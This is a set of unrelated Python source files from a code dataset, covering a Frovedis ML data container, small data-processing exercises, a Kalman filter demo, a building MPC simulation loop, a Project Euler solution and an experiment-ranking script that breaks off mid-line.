TypeUtil.to_numpy_dtype(self.y.get_dtype())\n            msg = \"Type(point): \" + str(type1) + \"; Type(label): \" + str(type2)\n            raise ValueError(\n                \"Incompatible types for input labels and points: \", msg)\n        if self.__num_row != self.y.size():\n            msg = \"Size(point): \" + str(\n                self.__num_row) + \"; Size(label): \" + str(self.y.size())\n            raise ValueError(\"Incompatible sizes of input labels and \"\n                             \"points: \", msg)\n\n    def release(self):\n        \"\"\"release\"\"\"\n        if self.__lbl_movable:\n            self.y.release()\n        if self.__mat_movable:\n            self.X.release()\n\n    def is_movable(self):\n        \"\"\"is_movable\"\"\"\n        return (self.__lbl_movable, self.__mat_movable)\n\n    def debug_print(self):\n        \"\"\"debug_print\"\"\"\n        print(\"label: \")\n        self.y.debug_print()\n        print(\"point: \")\n        self.X.debug_print()\n        print(\"dtype: \", TypeUtil.to_numpy_dtype(self.get_dtype()))\n\n    def get(self):\n        \"\"\"get\"\"\"\n        return self.X, self.y\n\n    def get_dtype(self):\n        \"\"\"get_dtype\"\"\"\n        return self.__dtype\n\n    def get_itype(self):\n        \"\"\"get_itype\"\"\"\n        return self.__itype\n\n    def numRows(self):\n        \"\"\"numRows\"\"\"\n        return self.__num_row\n\n    def numCols(self):\n        \"\"\"numCols\"\"\"\n        return self.__num_col\n\n    def is_dense(self):\n        \"\"\"is_dense\"\"\"\n        return self.__isDense\n\n    def get_distinct_labels(self):\n        \"\"\"get_distinct_labels\"\"\"\n        return self.unique_elements\n\n    def get_distinct_label_count(self):\n        \"\"\"get_distinct_label_count\"\"\"\n        return self.unique_elements.size\n\n    def __del__(self):\n        if FrovedisServer.isUP():\n            self.release()\n\n\nclass FrovedisFeatureData:\n    \"\"\"A python container for frovedis side data for unsupervised\n    ML algorithms\"\"\"\n\n    def __init__(self, mat, is_dense=None, dense_kind=None, dtype=None, \\\n                 itype=None, allow_int_dtype=False):\n        # decision making whether the converted data would be movable\n        # upon destruction\n        if isinstance(mat, (FrovedisCRSMatrix, FrovedisRowmajorMatrix,\n                            FrovedisColmajorMatrix)):\n            self.__mat_movable = False\n        else:\n            self.__mat_movable = True\n\n        data_type = type(is_dense).__name__\n        if data_type != 'NoneType':\n            if data_type != 'bool':\n                raise TypeError(\n                    \"Expected None or boolean for is_dense, received: \",\n                    data_type)\n        if data_type == 'NoneType':  # decide from input data\n            if issparse(mat) or isinstance(mat, FrovedisCRSMatrix):\n                self.__isDense = False\n            else:\n                self.__isDense = True\n        else:\n            self.__isDense = is_dense\n\n        if self.__isDense:\n            data_type = type(dense_kind).__name__\n            # decide dense_type (rowmajor or colmajor)\n            if data_type != 'NoneType':\n                if data_type != 'str':\n                    raise TypeError(\n                        \"Expected None or String for dense_kind, received: \",\n                        data_type)\n            if data_type == 'NoneType':\n                dense_kind = 'rowmajor'  # default dense type\n\n            # load dense data\n            if self.__mat_movable:\n                if dtype is None:\n                    mat = np.asmatrix(mat)\n                else:\n                    mat = np.asmatrix(mat, dtype=dtype) # user given dtype\n                                                        #can not be int kind\n                if allow_int_dtype:\n                    if mat.dtype != np.int32 and mat.dtype != np.int64:\n                        target_dtype = np.int64 #(default long)\n                    else:\n                        target_dtype = mat.dtype\n                else:\n                    if mat.dtype != np.float32 and mat.dtype != np.float64: \n                        target_dtype = np.float64 #(default double)\n                    else:\n                        target_dtype = mat.dtype\n                if dense_kind == 'colmajor':\n                    self.X = FrovedisColmajorMatrix.asCMM(mat, \\\n                        dtype=target_dtype)\n                elif dense_kind == 'rowmajor':\n                    self.X = FrovedisRowmajorMatrix.asRMM(mat, \\\n                        dtype=target_dtype)\n                else:\n                    raise ValueError(\\\n                        \"Supported dense kinds are either rowmajor or colmajor\")\n            else:\n                self.X = mat # already frovedis supported matrix\n            self.__dtype = self.X.get_dtype()\n            self.__itype = 0  # not meaningful for dense matrix\n        else:\n            if self.__mat_movable:\n                if dtype is None:\n                    mat = csr_matrix(mat) #ok for dense and sparse matrices\n                else:\n                    mat = csr_matrix(mat, dtype=dtype)\n                if allow_int_dtype:\n                    if mat.dtype != np.int32 and mat.dtype != np.int64:\n                        target_dtype = np.int64 #(default long)\n                    else:\n                        target_dtype = mat.dtype\n                else:\n                    if mat.dtype != np.float32 and mat.dtype != np.float64: \n                        target_dtype = np.float64 #(default double)\n                    else:\n                        target_dtype = mat.dtype\n                self.X = FrovedisCRSMatrix.asCRS(mat, dtype=target_dtype, \\\n                                                 itype=itype)\n            else:\n                self.X = mat # already frovedis crs matrix\n            self.__dtype = self.X.get_dtype()\n            self.__itype = self.X.get_itype()\n\n        self.__num_row = self.X.numRows()\n        self.__num_col = self.X.numCols()\n\n        if self.__dtype != DTYPE.FLOAT and self.__dtype != DTYPE.DOUBLE \\\n                                       and allow_int_dtype != True:\n            raise TypeError(\n                \"Expected training data either of float or double type!\")\n        elif self.__dtype != DTYPE.INT and self.__dtype != DTYPE.LONG \\\n                                       and allow_int_dtype == True:\n            raise TypeError(\n                \"Expected training data either of int or long type!\")\n        if not self.__isDense and (\n                self.__itype != DTYPE.INT and self.__itype != DTYPE.LONG):\n            raise TypeError(\n                \"Expected training sparse data itype to be\"\n                \" either int or long!\")\n\n    def release(self):\n        \"\"\"release\"\"\"\n        if self.__mat_movable:\n            self.X.release()\n\n    def is_movable(self):\n        \"\"\"is_movable\"\"\"\n        return self.__mat_movable\n\n    def debug_print(self):\n        \"\"\"debug_print\"\"\"\n        self.X.debug_print()\n\n    def get(self):\n        \"\"\"get\"\"\"\n        return self.X\n\n    def get_dtype(self):\n        \"\"\"get_dtype\"\"\"\n        return self.__dtype\n\n    def get_itype(self):\n        \"\"\"get_itype\"\"\"\n        return self.__itype\n\n    def numRows(self):\n        \"\"\"numRows\"\"\"\n        return self.__num_row\n\n    def numCols(self):\n        \"\"\"numCols\"\"\"\n        return self.__num_col\n\n    def is_dense(self):\n        \"\"\"is_dense\"\"\"\n        return self.__isDense\n\n    def __del__(self):\n        if FrovedisServer.isUP():\n            self.release()\n","sub_path":"src/foreign_if/python/main/python/frovedis/matrix/ml_data.py","file_name":"ml_data.py","file_ext":"py","file_size_in_byte":11309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"69023653","text":"import json\nfrom pprint import pprint\nwith open('C:/Users/user/Desktop/miniproject3/ML_second/Woman/nearest_neighbors/test.jpg.npz.json') as data_file:\n    data = json.load(data_file)\n# pprint(data)\n\nfilename = []\nfor i in range(3):\n    a = data[i]\n    b = a['filename'].strip(\".npz\")\n    filename.append(b)\nprint(filename)","sub_path":"hanyang-data-scientist/miniproject3/ML_second/imgFilename_woman.py","file_name":"imgFilename_woman.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"267576020","text":"# 9.4 Write a program to read through the mbox-short.txt and figure out who has the sent the \n# greatest number of mail messages. The program looks for 'From ' lines and takes the second word \n# of those lines as the person who sent the mail. The program creates a Python dictionary that maps \n# the sender's mail address to a count of the number of times they appear in the file. \n# After the dictionary is produced, the program reads through the dictionary using a maximum loop \n# to find the most prolific committer.\n\nfname = input(\"Enter file: \")\nif len(fname) < 1 : fname = \"mbox-short.txt\"\nfh = open(fname)\n\n# look for 'From ' lines and take the 2nd word (email addresses) of these lines and append it to emailList\nemailList = list()\nfor line in fh :\n    line = line.rstrip()\n    if not line.startswith('From ') : continue\n    words = line.split()\n    emailList.append(words[1])\n\n# use emailCounts dictionary to keep track of how many times each email addresses appears\nemailCounts = dict()\nfor email in emailList :\n    emailCounts[email] = emailCounts.get(email, 0) + 1\n\n# loop through the dictionary to find the most profilic committer\nprofilic_committer = 'email'\nlargest = -1\nfor key, value in emailCounts.items() :\n    if value > largest :\n        largest = value\n        profilic_committer = key\n\nprint(profilic_committer, largest)\n\n\n\n","sub_path":"PythonDataStructures/assignment9_4.py","file_name":"assignment9_4.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"587123347","text":"# This file is part of sner4 project governed by MIT license, see the LICENSE.txt file.\n\"\"\"\nsix_enum_discover output parser tests\n\"\"\"\n\nfrom sner.server.parser.six_enum_discover import SixEnumDiscoverParser\n\n\ndef test_host_list():\n    \"\"\"check host list extraction\"\"\"\n\n    expected_host_handles = [{'host': '::1'}]\n\n    hosts, _, _, _ = SixEnumDiscoverParser.parse_path('tests/server/data/parser-six_enum_discover-job.zip')\n\n    assert [x.handle for x in hosts] == expected_host_handles\n","sub_path":"tests/server/parser/test_six_enum_discover.py","file_name":"test_six_enum_discover.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"603682595","text":"#Implementing a Kalman Filter to track a robot\n#Use a class and functions to implement this\nimport numpy.random as random\nimport copy\nimport scipy.linalg as linalg\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy import dot\n\nclass KalmanFilter(object):\n    #Creating a Kalman Filter with state variables and other noise factors\n    def __init__(self,dim_x,dim_z,dim_u = 0):\n        self.x = np.zeros((dim_x,1)) #Position vector\n        self.P = np.eye(dim_x) #Covariance matrix\n        self.Q = np.eye(dim_x) #Process uncertainty\n        self.u = np.zeros((dim_x,1)) #Motion vector/Control input\n        self.B = 0 #Control transition matrix\n        self.F = 0 #State transition matrix\n        self.H = 0 #Measurement function\n        self.R = np.eye(dim_z) #State uncertainty\n\n        #Identity matrix\n        self._I = np.eye(dim_x)\n\n        if use_short_form:\n            self.update = self.update_short_form\n\n    def update (self,Z,R=None):\n        #Add a new quantitiy Z to the kalman Filter\n        if Z is None:\n            return\n        if R is None:\n            R = self.R\n        elif np.isscalar(R):\n            R = np.eye(self.dim_z)*R\n\n        #Error (Residual measurement)\n        y = Z - dot(H,x)\n\n        #System uncertainty into the measurement space\n        S = dot(H,P).dot(H.T) + R\n\n        #Map uncertainty into Kalman filter\n        K = dot(P,H.T).dot(linalg.inv(S))\n\n        #Predict new x with the residual\n        self.x = self.x + dot(K,y)\n\n        I_KH = self._I - dot(K,H)\n        self.P = dot(I_KH).dot(P).dot(I_KH.T)\n\n    def predict(self,u=0):\n        #Predict the next position\n        #u: Optional control vector\n\n        self.x = dot(self.F,self.x) + dot(self.B,u)\n        self.P = self.F.dot(self.P).dot(self.F.T) + self.Q\n        \n\n\n\nclass PosSensor1(object):\n    def __init__(self,pos=[0,0],vel=[0,0],noise_scale=1.1):\n        self.vel = vel\n        self.noise_scale = noise_scale\n        self.pos = copy.deepcopy(pos)\n\n    def read(self):\n        self.pos[0] = self.pos[0]+self.vel[0]\n        self.pos[1] = self.pos[1]+self.vel[1]\n\n        return [self.pos[0]+random.randn() * self.noise_scale,\n                self.pos[1]+random.randn() * self.noise_scale]\n\nf1 = KalmanFilter(dim_x=4,dim_z=2)\ndt=1.0 #Time step for measurement\nf1.F = np.array([[1,dt,0,0],\n                 [0,1,0,0],\n                 [0,0,1,dt],\n                 [0,0,0,1]])\nf1.u = 0\nf1.H = np.array([[1/0.3048,0,0,0],\n                 [0,0,1/0.3048,0]])\nf1.R = np.eye(2)*5\nf1.Q = np.eye(4)*0.1\nf1.x = np.array([[0,0,0,0]]).T\nf1.P = np.eye(4)*500\n\n#Initiate the other variables\ncount = 30\nxs,ys=[],[]\npxs,pys=[],[]\n\ns = PosSensor1([0,0],(2,1),1.)\n\nfor i in range(count):\n    pos = s.read()\n    z = np.array([[pos[0]],[pos[1]]])\n\n    f1.predict()\n    f1.update()\n\n    xs.append(f1.x[0,0])\n    ys.append(f1.x[2,0])\n    pxs.append(pos[0]*0.3048)\n    pys.append(pos[1]*0.3048)\n\np1, = plt.plot(xs,ys,'r--')\np2, = plt.plot(pxs,pys)\nplt.legend([p1,p2],['filter','measurement'],2)\nplt.show()\n    \n","sub_path":"KRobot.py","file_name":"KRobot.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"241968345","text":"\"\"\" Sixth version, make the code easier and more modifiable \"\"\"\n# Define the main programme\n\nfrom funcs import store_namespace\nfrom funcs import load_namespace\nfrom funcs import emulate_jmod\nimport os\nimport datetime\nimport time\nimport pandas as pd\n#from multiprocessing import Pool\nfrom mpcpy import units\nfrom mpcpy import variables\nfrom mpcpy import models_mod as models\n\nfrom Simulator_HP_mod2 import SimHandler\n\nif __name__ == \"__main__\":  \n    \n    # Naming conventions for the simulation\n    community = 'ResidentialCommunityUK_rad_2elements'\n    sim_id = 'MinEne'\n    model_id = 'R2CW_HP'\n    bldg_list = load_namespace(os.path.join('path_to_models', 'teaser_bldgs_residentialUK_10bldgs_fallback'))\n    folder = 'results'\n    bldg_index_start = 0\n    bldg_index_end = 10\n    \n    # Overall options\n    date = '11/20/2017 '\n    start = date + '16:30:00'\n    end = date + '19:00:00'\n    meas_sampl = '300'\n    horizon = 2*3600/float(meas_sampl) #time horizon for optimization in multiples of the sample\n    mon = 'nov'\n    \n    DRstart = datetime.datetime.strptime(date + '17:30:00', '%m/%d/%Y %H:%M:%S') # hour to start DR - ramp down 30 mins before\n    DRend = datetime.datetime.strptime(date + '18:30:00', '%m/%d/%Y %H:%M:%S') # hour to end DR - ramp 30 mins later\n    DR_call_start = datetime.datetime.strptime(date + '17:00:00', '%m/%d/%Y %H:%M:%S') # Round of loop to implement the call\n    DR_ramp_start = datetime.datetime.strptime(date + '17:30:00', '%m/%d/%Y %H:%M:%S')\n    DR_ramp_end = datetime.datetime.strptime(date + '18:30:00', '%m/%d/%Y %H:%M:%S') # Round of loop to stop implementing the call\n    flex_cost = 150 # Cost for flexibility\n    \n    #down_weight = 0.5 # weights to define the reference profile from upper and lower limit\n    #up_weight = 1-down_weight\n    compr_capacity=float(3000)\n    \n    ramp_modifier = float(200/compr_capacity) # to further modify the load profile\n    max_modifier = float(200/compr_capacity)\n    print(ramp_modifier)\n    print(max_modifier)\n    \n    dyn_price = 1\n    stat_cost = 50\n    set_change = 1\n    \n    sim_range = pd.date_range(start, end, freq = meas_sampl+'S')\n    opt_start_str = start\n    opt_end = datetime.datetime.strptime(end, '%m/%d/%Y %H:%M:%S') + datetime.timedelta(seconds = horizon*int(meas_sampl))\n    opt_end_str = opt_end.strftime('%m/%d/%Y %H:%M:%S')\n    \n    init_start = sim_range[0] - datetime.timedelta(seconds = 4.5*3600)\n    init_start_str = init_start.strftime('%m/%d/%Y %H:%M:%S')\n    print(init_start_str)\n\n    # Instantiate Simulator\n    Sim_list = []\n    i = 0\n    for bldg in bldg_list[bldg_index_start:bldg_index_end]:\n        i = i+1\n        Sim = SimHandler(sim_start = start,\n                    sim_end = end,\n                    meas_sampl = meas_sampl\n                    )\n                    \n        Sim.moinfo_mpc = (os.path.join(Sim.simu_path, 'Tutorial_'+model_id+'.mo'),\n                    'Tutorial_'+model_id+'.'+model_id,\n                    {}\n                    )\n        \n            \n        Sim.building = bldg+'_'+model_id\n        \n        Sim.fmupath_mpc = os.path.join(Sim.simu_path, 'fmus',community, 'Tutorial_'+model_id+'_'+model_id+'.fmu')\n        \n        Sim.fmupath_emu = os.path.join(Sim.simu_path, 'fmus', community, community+'_'+bldg+'_'+bldg+'_Models_'+bldg+'_House_mpc.fmu')\n        \n        Sim.fmupath_ref = os.path.join(Sim.simu_path, 'fmus', community, community+'_'+bldg+'_'+bldg+'_Models_'+bldg+'_House_PI.fmu')\n        \n        Sim.moinfo_emu = (os.path.join(Sim.mod_path, community, bldg,bldg+'_Models',bldg+'_House_mpc.mo'),  community+'.'+bldg+'.'+bldg+'_Models.'+bldg+'_House_mpc',\n        {}\n        )\n        \n        Sim.moinfo_emu_ref = (os.path.join(Sim.mod_path, community, bldg,bldg+'_Models',bldg+'_House_PI.mo'),   community+'.'+bldg+'.'+bldg+'_Models.'+bldg+'_House_PI',\n        {}\n        )\n        \n        # Initialise exogenous data sources\n        if i == 1:\n            Sim.update_weather(init_start_str, opt_end_str)\n            Sim.get_DRinfo(init_start_str,opt_end_str)\n            \n            Sim.price = load_namespace(os.path.join(Sim.simu_path, 'ibpsa_paper', 'prices', 'sim_price_'+mon))\n            \n            index = pd.date_range(start, opt_end_str, freq = meas_sampl+'S', tz=Sim.weather.tz_name)\n            \n            if dyn_price == 0:\n                price_signal = pd.Series(stat_cost, index)\n                Sim.price.data = {\"pi_e\": variables.Timeseries('pi_e', price_signal,units.cents_kWh,tz_name=Sim.weather.tz_name)\n                }\n            store_namespace(os.path.join(folder, 'sim_price'), Sim.price)\n        else:\n            Sim.weather = Sim_list[i-2].weather\n            Sim.ref_profile = Sim_list[i-2].ref_profile\n            Sim.flex_cost = Sim_list[i-2].flex_cost\n            Sim.price = Sim_list[i-2].price\n            Sim.rho = Sim_list[i-2].rho\n            Sim.addobj = Sim_list[i-2].addobj\n        \n        #Sim.sim_start= '1/1/2017 00:00'\n        Sim.get_control()\n        #Sim.sim_start= start\n        Sim.get_other_input(init_start_str,opt_end_str)\n        Sim.get_constraints(init_start_str,opt_end_str,upd_control=1)\n        \n        \n        Sim.param_file = os.path.join(Sim.simu_path,'csvs','Parameters_R2CW.csv')\n        Sim.get_params()\n        \n        Sim.parameters.data = load_namespace(os.path.join(Sim.simu_path, 'sysid', 'sysid_HPrad_2element_'+mon+'_600S','est_params_'+Sim.building))\n        Sim.other_input = load_namespace(os.path.join(Sim.simu_path, 'ibpsa_paper', 'decentr_enemin_'+mon, 'other_input_'+Sim.building))\n        Sim.constraints = load_namespace(os.path.join(Sim.simu_path, 'ibpsa_paper', 'decentr_enemin_'+mon, 'constraints_'+Sim.building))\n            \n        # Add to list of simulations\n        Sim_list.append(Sim)\n        \n        # Initialise models\n        Sim.init_models(use_ukf=1, use_fmu_mpc=0, use_fmu_emu=1) # Use for initialising \n        \n    # Start the hourly loop\n    i = 0\n    emutemps = {}\n    mpctemps = {}\n    controlseq = {}\n    power = {}\n    opt_stats = {}\n    emu_stats = {}\n    \n    index = pd.date_range(start, opt_end_str, freq = meas_sampl+'S')\n\n    for Sim in Sim_list:\n        \n        while True:\n            try:\n                emulate_jmod(Sim.emu, Sim.meas_vars_emu, Sim.meas_sampl, init_start_str, start)\n                \n                Sim.start_temp = Sim.emu.display_measurements('Measured').values[-1][-1]-273.15\n\n                print(Sim.emu.display_measurements('Measured'))\n\n                Sim.mpc.measurements = {}\n                Sim.mpc.measurements['TAir'] = Sim.emu.measurements['TAir']\n                \n                print(Sim.start_temp)\n                \n                break\n            except:\n                print('%%%%%%%%%%%%%%%%%% Failed, trying again! %%%%%%%%%%%%%%%%%%%%%%')\n                continue\n                \n    for simtime in sim_range:\n        i = i + 1\n        print('%%%%%%%%% IN LOOP: ' + str(i) + ' %%%%%%%%%%%%%%%%%') \n        if i == 1:\n            simtime_str = 'continue'\n        else:\n            simtime_str = 'continue'\n        opt_start_str = simtime.strftime('%m/%d/%Y %H:%M:%S')\n        opt_end = simtime + datetime.timedelta(seconds = horizon*int(Sim.meas_sampl))\n        emu_end = simtime + datetime.timedelta(seconds = int(Sim.meas_sampl))\n        opt_end_str = opt_end.strftime('%m/%d/%Y %H:%M:%S')\n        emu_end_str = emu_end.strftime('%m/%d/%Y %H:%M:%S')\n\n        simtime_naive = simtime.replace(tzinfo=None)        \n        \n        print('---- Simulation time: ' + str(simtime) + ' -------')\n        print('---- Next time step: ' + str(emu_end) + ' -------')\n        print('---- Optimisation horizon end: ' + str(opt_end) + ' -------')\n        \n        emutemps = {}\n        mpctemps = {}\n        controlseq = {}\n        power = {}\n        opt_stats = {}\n        emu_stats = {}\n\n        for Sim in Sim_list:\n            while True:\n                try:   \n                    out_temp=Sim.weather.display_data()['weaTDryBul'].resample(meas_sampl+'S').ffill()[opt_start_str]\n                    \n                    # Update parameter with measurements from the zone\n                    Sim.update_params('C1start',Sim.start_temp+273.15,units.K)  \n                    Sim.update_params('C2start',(7*Sim.start_temp+out_temp)/8+273.15,units.K)\n                    \n                    # Optimise for next time step\n                    print(\"%%%%%% --- Optimising --- %%%%%%\")\n                    Sim.opt_start = opt_start_str\n                    Sim.opt_end = opt_end_str\n\n                    # Shift to load tracking - down flexibility\n                    if simtime.hour == DR_call_start.hour and simtime.minute == DR_call_start.minute:\n                        print('%%%%%%%%%%%%%%% DR event called - flexibility profile defined %%%%%%%%%%%%%%%%%%%%%')\n                        load_profile = Sim.opt_controlseq['HPPower'].display_data()\n                        flex_cost_signal = pd.Series(0,index=index)\n                        \n                        #Shape the profile if required\n                        for t in load_profile.index:\n                            t = t.replace(tzinfo = None)\n                            if t >= DRstart and t < DRend:\n                                print(load_profile[t])\n                                load_profile[t] = load_profile[t]-max_modifier\n                                print(load_profile[t])\n                                flex_cost_signal[t] = flex_cost \n                            if load_profile[t] < 0:\n                                load_profile[t] = 0\n                                \n                        Sim.ref_profile.data['ref_profile'] = variables.Timeseries(\n                        'ref_profile', \n                        load_profile, \n                        Sim.opt_controlseq['HPPower'].get_display_unit(), \n                        tz_name = Sim.weather.tz_name\n                        )\n                        \n                        Sim.flex_cost.data = {\"flex_cost\": variables.Timeseries('flex_cost', flex_cost_signal,units.cents_kWh,tz_name=Sim.weather.tz_name)\n                        }\n                        \n                        store_namespace('ref_profile_'+Sim.building, Sim.ref_profile)\n                        store_namespace('flex_cost_'+Sim.building, Sim.flex_cost)\n                    \n                    if simtime_naive >= DR_ramp_start and simtime_naive <= DR_ramp_end:\n                        print('%%%%%%%%%%%%%%% Load-tracking %%%%%%%%%%%%%%%%%%%%%')\n                    else:\n                        print('%%%%%%%%%%%%%%% No load-tracking %%%%%%%%%%%%%%%%%%%%%')\n                        \n                    Sim.opt_control_minDRCost()\n\n                    mpctemps[Sim.building] = Sim.mpc.display_measurements('Simulated')\n                    print(Sim.mpc.measurements)\n                    print(Sim.mpc.display_measurements('Simulated'))\n                    opt_stats[Sim.building] = Sim.opt_problem.get_optimization_statistics()\n                    \n                    print(\"Emulating response\")\n                    #Update control and emulate effects\n                    Sim.control.data = Sim.opt_controlseq\n                    Sim.mpc.control_data = Sim.opt_controlseq\n                    Sim.emulate_opt(simtime_str,emu_end_str)\n                    \n                    Sim.mpc.measurements = {}\n                    Sim.mpc.measurements['TAir'] = Sim.emu.measurements['TAir']\n                    \n                    # Collect measurements\n                    print(Sim.emu.display_measurements('Measured'))\n                    emutemps[Sim.building] = Sim.emu.display_measurements('Measured').values[1][-1]\n                    power[Sim.building] = Sim.emu.display_measurements('Measured').values[1][0]\n                    \n                    # Update start temperature for next round\n                    Sim.start_temp = Sim.emu.display_measurements('Measured').values[1][-1]-273.15\n                    \n                    controlseq[Sim.building] = Sim.opt_controlseq['HPPower'].display_data()\n                    print(\"%%%%%%%%%%% Control Sequence %%%%%%%%%\")\n                    print(Sim.opt_controlseq['HPPower'].display_data()[simtime:])\n                    \n                    break\n                except:\n                    print('%%%%%%%%%%%%%%%%%% Failed, trying again! %%%%%%%%%%%%%%%%%%%%%%')\n                    continue\n                \n            \n            \n            while True:\n                try:\n                    print('Storing all the stuff')\n                    store_namespace(os.path.join(folder,'emutemps_'+sim_id+'_'+str(bldg_index_start)+'-'+str(bldg_index_end)+'_'+opt_start_str.replace('/','-').replace(':','-').replace(' ','-')), emutemps)\n                    store_namespace(os.path.join(folder,'mpctemps_'+sim_id+'_'+str(bldg_index_start)+'-'+str(bldg_index_end)+'_'+opt_start_str.replace('/','-').replace(':','-').replace(' ','-')), mpctemps)\n                    store_namespace(os.path.join(folder,'opt_stats_'+sim_id+'_'+str(bldg_index_start)+'-'+str(bldg_index_end)+'_'+opt_start_str.replace('/','-').replace(':','-').replace(' ','-')), opt_stats)\n                    store_namespace(os.path.join(folder,'controlseq_'+sim_id+'_'+str(bldg_index_start)+'-'+str(bldg_index_end)+'_'+opt_start_str.replace('/','-').replace(':','-').replace(' ','-')), controlseq)\n                    store_namespace(os.path.join(folder,'power_'+sim_id+'_'+str(bldg_index_start)+'-'+str(bldg_index_end)+'_'+opt_start_str.replace('/','-').replace(':','-').replace(' ','-')), power)\n                    break\n                except:\n                    print('%%%%%%%%%%%%%%%%%% Failed, trying again! %%%%%%%%%%%%%%%%%%%%%%')\n                    continue\n                    \n            while True:\n                try:        \n                    if (simtime.minute % 20 == 0) and (simtime.second == 0):\n                        print('Time to Kalman Filter!!')\n                        Sim.mpc = models.Modelica(models.UKF,\n                                        models.RMSE,\n                                        Sim.mpc.measurements,\n                                        moinfo = Sim.moinfo_mpc,\n                                        parameter_data = Sim.parameters.data,\n                                        weather_data = Sim.weather.data,\n                                        control_data = Sim.control.data,\n                                        other_inputs = Sim.other_input.data,\n                                        tz_name = Sim.weather.tz_name,\n                                        version = '1.0'\n                                        )\n                        \n                        Sim.id_start = opt_start_str\n                        Sim.id_end = emu_end_str\n                        \n                        Sim.sys_id()\n                        Sim.parameters.data = Sim.mpc.parameter_data\n                    \n                    opt_start_str_prev = opt_start_str\n                    break\n                except:\n                    print('%%%%%%%%%%%%%%%%%% Failed, trying again! %%%%%%%%%%%%%%%%%%%%%%')\n                    continue\n                    ","sub_path":"ibpsa_paper/flexmpc_10bldgs.py","file_name":"flexmpc_10bldgs.py","file_ext":"py","file_size_in_byte":15197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"327941241","text":"#!/usr/bin/env python3\n\"\"\"Project Euler, Problem 53.\"\"\"\nTHRESHOLD = 1000000\n\n\ndef choose(n, k):\n    \"\"\"Return n choose k.\"\"\"\n    numerator, denominator = 1, 1\n    for i in range(1, k + 1):\n        numerator *= n + 1 - i\n        denominator *= i\n\n    return numerator // denominator\n\n\nif __name__ == '__main__':\n    results = sum(\n            choose(n, k) > THRESHOLD for n in range(101) for k in range(n))\n    print(results)\n","sub_path":"051-100/p053.py","file_name":"p053.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"619645012","text":"\n# Add project path to sys\nimport sys\nsys.path.append(\"./././\")\n\n# Import lib\n# import pandas as pd\nimport numpy as np\nimport os\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n# Import my own lib\nimport others.utilities as my_util\n\n#############################################################################################\n\n# Experiment name\nexp = 'exp_11'\nexp_name = exp + '_alg_'\nmethods = ['BaselineEuclideanOneThreshold', 'elmRBFPOS_2', 'selmEuclidSumPOS', 'selmEuclidDistPOS', 'selmEuclidMultiplyPOS', 'selmEuclidMeanPOS']\nmethod_names = ['ResNet', 'ELM', 'SELM$_{Sum}$', 'SELM$_{Dist}$', 'SELM$_{Mult}$', 'SELM$_{Mean}$']\n\n# methods = ['BaselineEuclideanOneThreshold', 'GenderEuclideanOneThreshold', 'RaceEuclidean']\n# method_names = ['ID', 'GD', 'GED']\n\nclass_model = ['female-asian', 'female-black', 'female-caucasian', 'male-asian', 'male-black', 'male-caucasian']\nmetric = ['auc', 'eer', 'accuracy', 'tar_1', 'tar_0d1', 'tar_0d01']\n\neval_metric = 'auc'\n\nrun_exp_round = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n#############################################################################################\n\n# Path\n# Result path\nexp_result_path = my_util.get_path(additional_path=['.', '.', 'mount', 'FaceRecognitionPython_data_store', 'Result', 'exp_result', exp])\n\n#############################################################################################\n\n# Extract scores\nscores = {}\nfor method_idx, method_val in enumerate(methods):\n    for run_exp_round_idx, run_exp_round_val in enumerate(run_exp_round):  \n        add_idx = np.arange(0,len(class_model)) + (len(class_model) * run_exp_round_idx)\n        for class_model_idx, class_model_val in enumerate(class_model):\n            data_folder = exp_name + method_val + '_' + class_model_val\n            data = exp_result_path + data_folder + os.sep + data_folder + '_run_' + str(run_exp_round_val) + '.npy'\n            data = my_util.load_numpy_file(data)\n            for metric_val in metric:\n                if method_idx == 0 and run_exp_round_idx == 0 and class_model_idx == 0:\n                    scores[metric_val] = np.zeros((len(methods), len(run_exp_round) * len(class_model)))\n                scores[metric_val][method_idx,add_idx[class_model_idx]] = data[metric_val]\n                # print(metric_val + ': ' + str(scores[metric_val][method_idx]))\n\nrankOrder = {}\nfor metric_val in metric:\n    if metric_val == 'eer':\n        rankOrder[metric_val] =  stats.rankdata(scores[metric_val], method='average', axis=0)\n    else:\n        rankOrder[metric_val] =  stats.rankdata(-scores[metric_val], method='average', axis=0)\n\n# score_exp = {}\nrankOrder_exp = {}\nrankOrder_sum_exp = {}\nrankOrder_total_exp = {}\nfor metric_val in metric:\n    # score_exp[metric_val] = np.zeros((len(methods),len(run_exp_round)))\n    rankOrder_exp[metric_val] = np.zeros((len(methods),len(run_exp_round)))\n    rankOrder_sum_exp[metric_val] = np.zeros((len(methods),len(run_exp_round)))\n    # tmp_score = 0\n    tmp_rankOrder = 0\n    for run_exp_round_idx, run_exp_round_val in enumerate(run_exp_round):\n        tmp_idx = np.arange(0,len(class_model)) + (len(class_model) * run_exp_round_val)\n        tmp_score = np.sum(scores[metric_val][:,tmp_idx], axis=1)\n        rankOrder_sum_exp[metric_val][:,run_exp_round_idx] = np.sum(rankOrder[metric_val][:,tmp_idx], axis=1)\n        if metric_val == 'eer':\n            rankOrder_exp[metric_val][:,run_exp_round_idx] =  stats.rankdata(tmp_score, method='average')\n        else:\n            rankOrder_exp[metric_val][:,run_exp_round_idx] =  stats.rankdata(-tmp_score, method='average')\n    \n    rankOrder_total_exp[metric_val] = np.sum(rankOrder_sum_exp[metric_val], axis=1)\n\n#############################################################################################\n\n# One-way ANOVA\n# f, pv = stats.f_oneway(scores[eval_metric][0,:], scores[eval_metric][1,:], scores[eval_metric][2,:])\n# Kendall's W\nS, W, chi, cl = 